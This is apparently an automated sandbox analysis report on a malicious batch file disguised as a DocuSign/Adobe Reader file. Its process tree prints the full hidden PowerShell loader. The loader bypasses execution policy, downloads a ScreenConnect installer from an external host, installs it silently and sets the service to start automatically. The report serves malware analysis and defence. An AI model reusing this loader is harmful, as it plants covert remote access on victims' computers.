Analysis
- max time kernel
150s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/08/2026, 12:17
General
- Target Docusign-8901123adobe-reader07zuillnirusi.bat
- Size 735B
- Sample260820-pf4teazvbv
- SHA256 d63a6524fd2805a69f62b34263583994318a4850a38c4aebf4b7ece9168da8b0
Malware Config
Extracted
-
ps1
-
exe.dropper
https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 34 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign-8901123adobe-reader07zuillnirusi.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -WindowStyle Hidden -Command ""[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $msi=''C:\Users\Admin\AppData\Local\Temp\sc.msi''; (New-Object Net.WebClient).DownloadFile(''https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'', $msi); Start-Process msiexec -ArgumentList ''/i'', $msi, ''/qn'', ''/norestart'', ''/quiet'', ''ALLUSERS=1'', ''REBOOT=ReallySuppress'' -Wait; Start-Sleep 5; $s=Get-Service ''ScreenConnectService'' -EA 0; if($s){$s.ChangeStartMode(''Automatic''); if($s.Status -ne ''Running''){$s.Start()}}; Remove-Item $msi -Force -EA 0""' -Verb RunAs -WindowStyle Hidden"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $msi='C:\Users\Admin\AppData\Local\Temp\sc.msi'; (New-Object Net.WebClient).DownloadFile('https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest', $msi); Start-Process msiexec -ArgumentList '/i', $msi, '/qn', '/norestart', '/quiet', 'ALLUSERS=1', 'REBOOT=ReallySuppress' -Wait; Start-Sleep 5; $s=Get-Service 'ScreenConnectService' -EA 0; if($s){$s.ChangeStartMode('Automatic'); if($s.Status -ne 'Running'){$s.Start()}}; Remove-Item $msi -Force -EA 03⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Local\Temp\sc.msi /qn /norestart /quiet ALLUSERS=1 REBOOT=ReallySuppress4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/3948-8-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/3948-5-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/3948-4-0x000002D0E37B0000-0x000002D0E37D2000-memory.dmp
memory/3948-6-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/3948-7-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/3948-0-0x00007FFE4D74F000-0x00007FFE4D750000-memory.dmp
memory/3948-9-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/3948-10-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/3948-11-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/3948-14-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/3948-13-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/3948-3-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-17-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-27-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-18-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-15-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-21-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-23-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-24-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-25-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-26-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-16-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-28-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-29-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-30-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-31-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-32-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-33-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp
memory/5768-36-0x00007FFE4D5C0000-0x00007FFE4DF64000-memory.dmp